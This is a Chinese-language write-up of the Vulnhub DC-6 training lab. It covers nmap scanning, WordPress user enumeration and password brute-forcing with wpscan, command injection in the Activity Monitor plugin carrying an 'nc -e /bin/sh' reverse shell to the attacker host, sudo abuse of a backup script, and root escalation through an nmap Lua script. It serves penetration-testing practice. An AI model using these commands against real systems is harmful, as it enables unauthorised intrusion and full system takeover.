Vulnhub靶机:DC-6

标签爆破WordPressActivity monitor插件反弹shell水平越权nmap提权linux

0x00 环境准备

下载地址:https://www.vulnhub.com/entry/dc-4,313/
flag数量:1
攻击机:kali
攻击机地址:192.168.1.31
靶机描述:

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

This isn't an overly difficult challenge so should be great for beginners.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

NOTE

You WILL need to edit your hosts file on your pentesting device so that it reads something like:

192.168.0.142 wordy

Clue

OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)

0x01 信息搜集

1.探测靶机地址

命令:arp-scan -l

靶机地址是192.168.1.34

2.探测靶机开放端口

命令:nmap -sV -p- 192.168.1.34

开放了80和22端口,先看一下80端口


不能访问,原来要修改host文件,命令:vim /etc/hosts,添加一条信息:192.168.1.34 wordy

修改后可以访问了,是WordPress CMS


这个CMS有个专属扫描器——wpscan,但是没有发现漏洞。

0x02 爆破密码

DC6有提示:


提到了rockyou.txt,这是kali自带的一个密码字典,这个字典非常庞大,有几千万的数据,如果使用整个字典爆破的话要花费很长时间,所以先输入提示中的命令来筛选一些密码保存到文件中,再进行爆破。


使用wpscan探测一下用户名,命令:wpscan --url http://wordy/ -e u

发现了5个用户名,将用户名整理到一起,开始爆破,命令:wpscan --url http://wordy/ -U dc6wpuser.txt -P dc6passwords.txt -t 50

爆破出一组用户密码:mark \ helpdesk01

0x03 利用漏洞插件反弹shell

拿到一组用户名密码后,去登录一下看看,wp后台的默认路径:http://wordy/wp-login.php

发现有个Activity monitor插件,查询一下Activity monitor插件是否爆出过漏洞,命令:searchsploit Activity monitor

查询到三个利用文件,这里用最新的。将文件复制过来,然后根据实际情况修改一下:


在kali上开启监听,命令:nc -lnvp 9999,用浏览器打开45274.html文件,点击按钮,跳转到

但是并没有反弹shell,那就使用burp抓包改包尝试反弹shell。
在当前页面开启burp,点击Lookup,在name="ip"的下面输入命令,发包,可以看到命令被执行了。

执行反弹shell命令:127.0.0.1 | nc -e /bin/sh 192.168.1.31 9999

反弹成功了,切换到bash环境下,命令:python -c "import pty;pty.spawn('/bin/bash')"

/home/mark/stuff中找到了一个文件,打开后发现了一组用户名密码:graham - GSo7isUM1D4

0x04 水平越权

使用新获得的账号密码尝试登录SSH,命令:ssh [email protected]

登录成功,执行:sudo -l,在/home/jens目录下发现一个sh文件,如果以jens身份执行不需要密码。cat查看文件内容发现是对网站的打包命令,作用是备份网站根目录。

那么如果在这个文件中写入/bin/bash命令,然后以jens用户身份运行就可以获取到jens的shell了。命令:

echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh

0x05 提权

执行sudo -l命令,发现在jens的shell下,可以在不需要密码的情况下,以root的身份权限执行nmap

nmap工具是可以执行脚本的,那么我们把弹root用户shell的命令写入到nmap的脚本里面,然后用nmap命令执行即可切换到root用户的shell。命令:

echo 'os.execute("/bin/sh")' > getShell
sudo  nmap  --script=getShell

在/root目录下找到flag文件

由于我不会每天都登录,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“”


参考链接

1.VulnHub—DC-6
2.Vulnhub靶机实战——DC-6
3.vulnhub靶机之DC6实战(wordpress+nmap提权)

你可能感兴趣的:(Vulnhub靶机:DC-6)